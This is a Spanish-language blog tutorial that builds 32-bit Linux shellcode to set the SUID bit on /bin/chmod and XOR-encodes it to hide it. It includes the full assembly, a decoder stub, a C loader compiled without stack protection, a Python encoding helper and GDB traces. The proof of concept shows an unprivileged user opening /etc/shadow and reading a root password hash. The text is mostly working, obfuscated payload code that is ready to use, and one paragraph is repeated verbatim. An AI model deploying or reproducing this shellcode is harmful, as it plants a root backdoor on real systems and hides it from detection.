Buenas de nuevo, esta entrada es una introducción a las Shellcode y como podemos usar XOR para ocultar el verdadero código que en ella se "esconde".
La shellcode de la entrada tiene como objetivo ejecutar la orden de cambio de permisos o chmod sobre el binario "/bin/chmod", de forma que dicho binario conserve sus permisos originales más el bit de SuID, por lo cual, cualquier usuario podrá cambiar los permisos de los directorios y ficheros del sistema. La shell code ejecuta dos llamadas al sistema, la primera es el chmod ya indicado y la segunda es para terminar el programa, un exit(0).
Por cada una de estas interrupciones lo que hay que hacer es poner en el registro EAX el valor numérico de la llamada, en caso de chmod es 15 (/usr/include/i386-linux-gnu/asm/unistd_32.h). En EBX, ECX y EDX se indican los tres parámetros de la función, claro está en caso de que la función lo requiere. EBX para el primer parámetro, ECX para el segundo y EDX para el tercero. En el caso de la llamada a chmod solo se requiere dos parámetros: el primer valor es el fichero o directorio al cual se le quiere cambiar los permisos y el segundo son los permisos en RAW que se desea conceder. Recordad que el mítico 755, por ejemplo, es octal por lo que hay que pasarlo a hexadecimal y finalmente añadir al bit más significativo el valor 8. Para más información os recomiendo la segunda página del manual chmod "man 2 chmod". Para finalizar es necesario la ejecución de la llamada al sistema con un "int 0x80".
Antes de mostrar el código del programa indicar tres cosas que son fundamentales en la escritura de código ASM para shellcode. Nunca un OPCode (representación de las instrucciones) debe valer 0x00, es decir un byte es todo 0 (ceros) ya que se interpretará como finalización de cadena de caracteres y el shellcode fallará. Por tanto si tenemos algo del estilo "mov EAX, 0" lo cambiamos por "XOR EAX, EAX" puesto que XOR sobre un mismo valor siempre dará todo 0. El segundo truco es que si vamos a introducir valores en registro, usar únicamente el espacio requerido, es decir, imaginaros que queremos mover el carácter 8 al registro EAX: "mov EAX, 8". Esto en OPCode introducirá "00" puesto que solo ocupamos la parte baja del registro mientras que la parte alta estará vacía. Por tanto si vamos a mover 1 byte, usemos un registro de 1 byte: "mov al, 8". Recordad que EAX 32bits, AX 16 bits bajos del EAX, AH los 8 bits altos de AX y AL los 8 bits bajos de AX. Por último comentar que si queremos acceder a un dato previamente escrito en la parte de ".data", debido a protecciones actuales, nos será imposible ya que la posición cambia. Por tanto el truco es tan simple como saltar con un jmp a una etiqueta, en la etiqueta la primera instrucción será un call de vuelta a la instrucción siguiente al jmp anterior. Debajo de ese call estará los datos que nos interesa tener. Cuando el call se ejecuta, este apila la siguiente instrucción a ejecutar. Cuando dicho call salte a la segunda instrucción después del primer jmp tendremos apilada en la cima de la pila la dirección de donde están los datos que buscamos. A esto se le conoce como JMP-CALL-POP.
Antes de mostrar el código del programa indicar tres cosas que son fundamentales en la escritura de código ASM para shellcode. Nunca un OPCode (representación de las instrucciones) debe valer 0x00, es decir un byte es todo 0 (ceros) ya que se interpretará como finalización de cadena de caracteres y el shellcode fallará. Por tanto si tenemos algo del estilo "mov EAX, 0" lo cambiamos por "XOR EAX, EAX" puesto que XOR sobre un mismo valor siempre dará todo 0. El segundo truco es que si vamos a introducir valores en registro, usar únicamente el espacio requerido, es decir, imaginaros que queremos mover el carácter 8 al registro EAX: "mov EAX, 8". Esto en OPCode introducirá "00" puesto que solo ocupamos la parte baja del registro mientras que la parte alta estará vacía. Por tanto si vamos a mover 1 byte, usemos un registro de 1 byte: "mov al, 8". Recordad que EAX 32bits, AX 16 bits bajos del EAX, AH los 8 bits altos de AX y AL los 8 bits bajos de AX. Por último comentar que si queremos acceder a un dato previamente escrito en la parte de ".data", debido a protecciones actuales, nos será imposible ya que la posición cambia. Por tanto el truco es tan simple como saltar con un jmp a una etiqueta, en la etiqueta la primera instrucción será un call de vuelta a la instrucción siguiente al jmp anterior. Debajo de ese call estará los datos que nos interesa tener. Cuando el call se ejecuta, este apila la siguiente instrucción a ejecutar. Cuando dicho call salte a la segunda instrucción después del primer jmp tendremos apilada en la cima de la pila la dirección de donde están los datos que buscamos. A esto se le conoce como JMP-CALL-POP.
El fichero ASM que realiza tal función es el siguiente:
SECTION .text ; Seccion de datos- global _start ; Donde empieza el programa
- _start: ; Empieza el programa
- jmp callback ; Jump-call-pop
- programa:
- pop esi ; Desapilamos la direccion de la sig ins
- ; previo call, tenemos el db
- xor ecx,ecx
- mov cx,0x89ED ; Param #2, Modo, 4755 (8) -> 0x9ED (H), modo raw (0x89ED)
- ; +info: comando stat %a %f
- mov ebx,esi ; Param #1, Fichero a cambiar
- xor eax,eax
- mov al,0xf ; Chmod es 15 -> 0xF
- ; arch/x86/include/generated/uapi/asm/unistd_32.h
- int 0x80 ; Llamada al sistema
- xor ebx,ebx ; Salimos, todo ha ido bien, param #1 de todo OK = '0'
- xor eax,eax
- mov al,1 ; Funcion exit
- int 0x80 ; Llamada al sistema
- callback:
- call programa
- db "/bin/chmod"
El siguiente paso es obtener los OPCode del programa ASM anterior usando Objdump y luego realizar una operación XOR sobre cada uno de los byte que forman el OPCode. En el ejemplo he usado el byte 0x18 para realizar el XOR. "Parse.py" es un script en Python simplón que con la opción "xor" hace la operación XOR entre la cadena de OPCode de entrada y el byte indicado en hexadecimal:
# nasm -f elf chmod.asm -o chmod.o
# ld -o asmchmod chmod.o
# objdump -M intel -d asmchmod | grep 80480 | grep -v '>:' | cut -f2 | perl -p -e 's/ [ \n]*//g'
eb175e31c966b9ed8989f331c0b00fcd8031db31c0b001cd80e8e4ffffff2f62696e2f63686d6f64
# ./parse.py xor eb175e31c966b9ed8989f331c0b00fcd8031db31c0b001cd80e8e4ffffff2f62696e2f63686d6f64 18
f30f4629d17ea1f59191eb29d8a817d59829c329d8a819d598f0fce7e7e7377a7176377b7075777c
Como se aprecia el valor de OPCode del programa anterior es "eb175e31c96...3686d6f64". Un vez realizada la operación XOR el valor es "f30f4629d17ea1f59...377b7075777c".
A continuación hay que preparar un programa ASM que almacene la shellcode anterior (f30d46...), la recorra byte a byte y realice una operación XOR entre dicho byte y el 0x18 almacenando en la misma posición el resultado. Una vez realizada la operación deberá saltar al primer byte de la shellcode descifrada y ejecutarla. El programa llamado chmodxor.asm es el siguiente:
- SECTION .text ; Seccion de datos
- global _start ; Donde empieza el programa
- _start: ; Empieza el programa
- jmp callback ; Jump-call-pop
- programa:
- pop esi ; Desapilamos la direccion donde estan los byte
- mov ebx,esi
- ; XOR START
- xor ecx, ecx ; Contador a 0
- mov cl,40 ; Cuantos contadores vamos a leer
- loopxor:
- mov al,[esi]
- xor al,18h ; Xor del codigo con 0x18
- mov [esi],al
- inc esi ; Incrementamos en busqueda de la siguiente posicion
- dec cl ; Decrementamos el contador
- jnz loopxor
- ; XOR FINISH
- jmp ebx
- callback:
- call programa
- db 0f3h, 00fh, 046h, 029h, 0d1h, 07eh, 0a1h, 0f5h, 091h, 091h, 0ebh, 029h, 0d8h, 0a8h, 017h, 0d5h,098h, 029h, 0c3h, 029h, 0d8h, 0a8h, 019h, 0d5h, 098h, 0f0h, 0fch, 0e7h, 0e7h, 0e7h, 037h, 07ah, 071h, 076h, 037h,07bh, 070h, 075h, 077h, 07ch
Una vez tenemos el programa XOR listo debemos compilarlo igual que anteriormente:
# nasm -f elf chmodxor.asm -o chmod.o
# ld -o asmchmod chmod.o
# objdump -M intel -d asmchmod | grep 80480 | grep -v '>:' | cut -f2 | perl -p -e 's/ [ \n]*//g'
eb145e89f331c9b1288a063418880646fec975f5ffe3e8e7fffffff30f4629d17ea1f59191eb29d8a817d59829c329d8a819d598f0fce7e7e7377a7176377b7075777c
# ./parse.py hex eb145e89f331c9b1288a063418880646fec975f5ffe3e8e7fffffff30f4629d17ea1f59191eb29d8a817d59829c329d8a819d598f0fce7e7e7377a7176377b7075777c
\xeb\x14\x5e\x89\xf3\x31\xc9\xb1\x28\x8a\x06\x34\x18\x88\x06\x46\xfe\xc9\x75\xf5\xff\xe3\xe8\xe7\xff\xff\xff\xf3\x0f\x46\x29\xd1\x7e\xa1\xf5\x91\x91\xeb\x29\xd8\xa8\x17\xd5\x98\x29\xc3\x29\xd8\xa8\x19\xd5\x98\xf0\xfc\xe7\xe7\xe7\x37\x7a\x71\x76\x37\x7b\x70\x75\x77\x7c
Como se aprecia, he vuelto a usar mi programa auxiliar parse.py para que añada "\x" delante de cada byte para poder procesarlo en un programa en C:
- #include <unistd.h>
- unsigned char shellcode[] = \
- "\xeb\x14\x5e\x89\xf3\x31\xc9\xb1\x28\x8a\x06\x34\x18\x88\x06\x46\xfe\xc9\x75\xf5\xff\xe3\xe8\xe7\xff\xff\xff\xf3\x0f\x46\x29\xd1\x7e\xa1\xf5\x91\x91\xeb\x29\xd8\xa8\x17\xd5\x98\x29\xc3\x29\xd8\xa8\x19\xd5\x98\xf0\xfc\xe7\xe7\xe7\x37\x7a\x71\x76\x37\x7b\x70\x75\x77\x7c";
- void main(){
- int (*ret)() = (int(*)()) shellcode;
- ret();}
Una vez preparada la shellcode vamos a proceder a compilarla saltando algunos de las restricciones GCC (esto lo dejo para otra entrada). También muestro un poco la prueba de concepto de esta shellcode:
# ls -l /bin/chmod
-rwxr-xr-x 1 root root 54904 Jan 26 2013 /bin/chmod
# su - prueba
$ chmod 777 /etc/shadow
chmod: changing permissions of `/etc/shadow': Operation not permitted
$ exit
exit
# gcc -fno-stack-protector -z execstack shellcode.c -o shellcode
# ./shellcode
# ls -l /bin/chmod
-rwsr-xr-x 1 root root 54904 Jan 26 2013 /bin/chmod
# su prueba
$ chmod 777 /etc/shadow
$ grep root /etc/shadow
root:$6$jwJ6uky6$IHR7LyNfY6BpZiRd6cjVjiBtLyNfY5Y9N.gXN7B8t4FOtKRnZO5Y9NymHQus.3Ec7XaHJsdRYec77HnLyNfYM/:15992:0:99999:7:::
$ echo "I change the hash and the salt before put it here :-)"
Antes de que se me olvide, el código rápido de parse.py:
# ./parse.py hex eb145e89f331c9b1288a063418880646fec975f5ffe3e8e7fffffff30f4629d17ea1f59191eb29d8a817d59829c329d8a819d598f0fce7e7e7377a7176377b7075777c
\xeb\x14\x5e\x89\xf3\x31\xc9\xb1\x28\x8a\x06\x34\x18\x88\x06\x46\xfe\xc9\x75\xf5\xff\xe3\xe8\xe7\xff\xff\xff\xf3\x0f\x46\x29\xd1\x7e\xa1\xf5\x91\x91\xeb\x29\xd8\xa8\x17\xd5\x98\x29\xc3\x29\xd8\xa8\x19\xd5\x98\xf0\xfc\xe7\xe7\xe7\x37\x7a\x71\x76\x37\x7b\x70\x75\x77\x7c
# ./parse.py gdb eb145e89f331c9b1288a063418880646fec975f5ffe3e8e7fffffff30f4629d17ea1f59191eb29d8a817d59829c329d8a819d598f0fce7e7e7377a7176377b7075777c
0ebh, 014h, 05eh, 089h, 0f3h, 031h, 0c9h, 0b1h, 028h, 08ah, 006h, 034h, 018h, 088h, 006h, 046h, 0feh, 0c9h, 075h, 0f5h, 0ffh, 0e3h, 0e8h, 0e7h, 0ffh, 0ffh, 0ffh, 0f3h, 00fh, 046h, 029h, 0d1h, 07eh, 0a1h, 0f5h, 091h, 091h, 0ebh, 029h, 0d8h, 0a8h, 017h, 0d5h, 098h, 029h, 0c3h, 029h, 0d8h, 0a8h, 019h, 0d5h, 098h, 0f0h, 0fch, 0e7h, 0e7h, 0e7h, 037h, 07ah, 071h, 076h, 037h, 07bh, 070h, 075h, 077h, 07ch
# ./parse.py gdbinv eb145e89f331c9b1288a063418880646fec975f5ffe3e8e7fffffff30f4629d17ea1f59191eb29d8a817d59829c329d8a819d598f0fce7e7e7377a7176377b7075777c
07ch, 077h, 075h, 070h, 07bh, 037h, 076h, 071h, 07ah, 037h, 0e7h, 0e7h, 0e7h, 0fch, 0f0h, 098h, 0d5h, 019h, 0a8h, 0d8h, 029h, 0c3h, 029h, 098h, 0d5h, 017h, 0a8h, 0d8h, 029h, 0ebh, 091h, 091h, 0f5h, 0a1h, 07eh, 0d1h, 029h, 046h, 00fh, 0f3h, 0ffh, 0ffh, 0ffh, 0e7h, 0e8h, 0e3h, 0ffh, 0f5h, 075h, 0c9h, 0feh, 046h, 006h, 088h, 018h, 034h, 006h, 08ah, 028h, 0b1h, 0c9h, 031h, 0f3h, 089h, 05eh, 014h, 0ebh
# ./parse.py xor eb145e89f331c9b1288a063418880646fec975f5ffe3e8e7fffffff30f4629d17ea1f59191eb29d8a817d59829c329d8a819d598f0fce7e7e7377a7176377b7075777c 44
af501acdb7758df56cce42705ccc4202ba8d31b1bba7aca3bbbbbbb74b026d953ae5b1d5d5af6d9cec5391dc6d876d9cec5d91dcb4b8a3a3a3733e3532733f34313338
- #!/usr/bin/python
- import sys
- '''
- Arg1: opcion a escoger
- Arg2: OP code en hexadecimal seguido sin espacios
- '''
- # Formato ShellCode (\xAB\xCD...)
- def getHexadecimal(data):
- pos = 0
- cadena = ''
- while (pos < len(data)):
- cadena = cadena + '\\x' + str(data[pos]) + str(data[pos+1])
- pos = pos + 2
- print cadena
- # Formato GDB
- def getGDB(data):
- pos = 0
- cadena = ''
- while (pos < len(data)):
- cadena = cadena + '0' + str(data[pos]) + str(data[pos+1]) + 'h, '
- pos = pos + 2
- print str(cadena[:-2])
- # Invertimos el orden en formato GDB, el ultimo es el primero
- def getGDBInv(data):
- pos = len(data) - 1
- cadena = ''
- while (pos > 0):
- cadena = cadena + '0' + str(data[pos-1]) + str(data[pos]) + 'h, '
- pos = pos - 2
- print str(cadena[:-2])
- # Xor de la cadena
- def getXorCadena(data, valor):
- hexValor = int(valor, 16)
- pos = 0
- res = ''
- while (pos < len(data)):
- opCode = data[pos]+data[pos+1]
- hexData = int(opCode, 16)
- aux = hex(hexData^hexValor)[2:]
- if len(aux) == 1:
- aux = '0' + aux
- if len(aux) == 0:
- aux = '00'
- #print 'Opcode ' + opCode + ' xor ' + valor + ' = ' + aux
- res = res + aux
- pos = pos + 2
- print res
- def help():
- print "\n" + 'Para C: python programa hex CADENA'
- print "\n" + 'Para GDB: python programa gdb CADENA'
- print "\n" + 'Para GDB pero invertido: python programa gdbinv CADENA'
- print "\n" + 'CADENA ^ operador: python programa xor CADENA operador'
- print "\n\t" + 'Tanto CADENA como operador deben ser en hexadecimal todo seguido, ex: a7d68733d3'
- if __name__ == '__main__':
- if len(sys.argv) == 3 or len(sys.argv) == 4:
- data = sys.argv[2]
- if (len(data)%2) != 0:
- print 'La cadena no puede ser OPCode, tam: ' + str(len(data))
- sys.exit(1)
- if len(sys.argv) == 3:
- if str(sys.argv[1]) == "hex":
- getHexadecimal(data)
- if str(sys.argv[1]) == "gdb":
- getGDB(data)
- if str(sys.argv[1]) == "gdbinv":
- getGDBInv(data)
- elif len(sys.argv) == 4:
- if str(sys.argv[1]) == "xor":
- try:
- operador = int(sys.argv[3],16)
- except:
- help()
- getXorCadena(data, sys.argv[3])
- else:
- help()
- else:
- help()
Para finalizar os pongo los pasos principales para debuggear con GDB como la shellcode hace el XOR dejando el programa en la primera instrucción de la shellcode del primer fichero ASM al principio del todo de la entrada:
# gcc -fno-stack-protector -z execstack shellcode.c -o shellcode
# gdb shellcode
GNU gdb (GDB) 7.4.1-debian
Copyright (C) 2012 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "i486-linux-gnu".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>...
Reading symbols from /root/chmod/shellcode...(no debugging symbols found)...done.
(gdb) set disassembly-flavor intel
(gdb) break *&shellcode
Breakpoint 1 at 0x8049640
(gdb) run
Starting program: /root/chmod/shellcode
Breakpoint 1, 0x08049640 in shellcode ()
(gdb) disassemble
Dump of assembler code for function shellcode:
=> 0x08049640 <+0>: jmp 0x8049656 <shellcode+22>
0x08049642 <+2>: pop esi
0x08049643 <+3>: mov ebx,esi
0x08049645 <+5>: xor ecx,ecx
0x08049647 <+7>: mov cl,0x28
0x08049649 <+9>: mov al,BYTE PTR [esi]
0x0804964b <+11>: xor al,0x18
0x0804964d <+13>: mov BYTE PTR [esi],al
0x0804964f <+15>: inc esi
0x08049650 <+16>: dec cl
0x08049652 <+18>: jne 0x8049649 <shellcode+9>
0x08049654 <+20>: jmp ebx
0x08049656 <+22>: call 0x8049642 <shellcode+2>
0x0804965b <+27>: repz cmovbe ebp,DWORD PTR [ecx]
0x0804965f <+31>: sar DWORD PTR [esi-0x5f],1
0x08049662 <+34>: cmc
0x08049663 <+35>: xchg ecx,eax
0x08049664 <+36>: xchg ecx,eax
0x08049665 <+37>: jmp 0x8049690
0x08049667 <+39>: fsubr DWORD PTR [eax+0x2998d517]
0x0804966d <+45>: ret
0x0804966e <+46>: sub eax,ebx
0x08049670 <+48>: test al,0x19
0x08049672 <+50>: aad 0x98
0x08049674 <+52>: lock cld
0x08049676 <+54>: out 0xe7,eax
0x08049678 <+56>: out 0x37,eax
0x0804967a <+58>: jp 0x80496ed
0x0804967c <+60>: jbe 0x80496b5
0x0804967e <+62>: jnp 0x80496f0
0x08049680 <+64>: jne 0x80496f9
0x08049682 <+66>: jl 0x8049684 <completed.5730>
End of assembler dump.
(gdb) break *0x08049643
Breakpoint 2 at 0x8049643
(gdb) c
Continuing.
Breakpoint 2, 0x08049643 in shellcode ()
(gdb) p/x $esi
$2 = 0x804965b
(gdb) x/8b 0x804965b
0x804965b <shellcode+27>: 0xf3 0x0f 0x46 0x29 0xd1 0x7e 0xa1 0xf5
(gdb) break *0x08049654
Breakpoint 3 at 0x8049654
(gdb) c
Continuing.
Breakpoint 3, 0x08049654 in shellcode ()
(gdb) x/8b 0x804965b
0x804965b <shellcode+27>: 0xeb 0x17 0x5e 0x31 0xc9 0x66 0xb9 0xed
(gdb) disassemble
Dump of assembler code for function shellcode:
0x08049640 <+0>: jmp 0x8049656 <shellcode+22>
0x08049642 <+2>: pop esi
0x08049643 <+3>: mov ebx,esi
0x08049645 <+5>: xor ecx,ecx
0x08049647 <+7>: mov cl,0x28
0x08049649 <+9>: mov al,BYTE PTR [esi]
0x0804964b <+11>: xor al,0x18
0x0804964d <+13>: mov BYTE PTR [esi],al
0x0804964f <+15>: inc esi
0x08049650 <+16>: dec cl
0x08049652 <+18>: jne 0x8049649 <shellcode+9>
=> 0x08049654 <+20>: jmp ebx
0x08049656 <+22>: call 0x8049642 <shellcode+2>
0x0804965b <+27>: jmp 0x8049674 <shellcode+52>
0x0804965d <+29>: pop esi
0x0804965e <+30>: xor ecx,ecx
0x08049660 <+32>: mov cx,0x89ed
0x08049664 <+36>: mov ebx,esi
0x08049666 <+38>: xor eax,eax
0x08049668 <+40>: mov al,0xf
0x0804966a <+42>: int 0x80
0x0804966c <+44>: xor ebx,ebx
0x0804966e <+46>: xor eax,eax
0x08049670 <+48>: mov al,0x1
0x08049672 <+50>: int 0x80
0x08049674 <+52>: call 0x804965d <shellcode+29>
0x08049679 <+57>: das
0x0804967a <+58>: bound ebp,QWORD PTR [ecx+0x6e]
0x0804967d <+61>: das
0x0804967e <+62>: arpl WORD PTR [eax+0x6d],bp
0x08049681 <+65>: outs dx,DWORD PTR ds:[esi]
0x08049682 <+66>: add BYTE PTR fs:[eax],al
End of assembler dump.
(gdb) si
0x0804965b in shellcode ()
(gdb) disassemble
Dump of assembler code for function shellcode:
0x08049640 <+0>: jmp 0x8049656 <shellcode+22>
0x08049642 <+2>: pop esi
0x08049643 <+3>: mov ebx,esi
0x08049645 <+5>: xor ecx,ecx
0x08049647 <+7>: mov cl,0x28
0x08049649 <+9>: mov al,BYTE PTR [esi]
0x0804964b <+11>: xor al,0x18
0x0804964d <+13>: mov BYTE PTR [esi],al
0x0804964f <+15>: inc esi
0x08049650 <+16>: dec cl
0x08049652 <+18>: jne 0x8049649 <shellcode+9>
0x08049654 <+20>: jmp ebx
0x08049656 <+22>: call 0x8049642 <shellcode+2>
=> 0x0804965b <+27>: jmp 0x8049674 <shellcode+52>
0x0804965d <+29>: pop esi
0x0804965e <+30>: xor ecx,ecx
0x08049660 <+32>: mov cx,0x89ed
0x08049664 <+36>: mov ebx,esi
0x08049666 <+38>: xor eax,eax
0x08049668 <+40>: mov al,0xf
0x0804966a <+42>: int 0x80
0x0804966c <+44>: xor ebx,ebx
0x0804966e <+46>: xor eax,eax
0x08049670 <+48>: mov al,0x1
0x08049672 <+50>: int 0x80
0x08049674 <+52>: call 0x804965d <shellcode+29>
0x08049679 <+57>: das
0x0804967a <+58>: bound ebp,QWORD PTR [ecx+0x6e]
0x0804967d <+61>: das
0x0804967e <+62>: arpl WORD PTR [eax+0x6d],bp
0x08049681 <+65>: outs dx,DWORD PTR ds:[esi]
0x08049682 <+66>: add BYTE PTR fs:[eax],al
End of assembler dump.
(gdb)
- SecurityTube: http://www.securitytube.net/video/6996
- @badishi: https://badishi.com/basic-shellcode-example/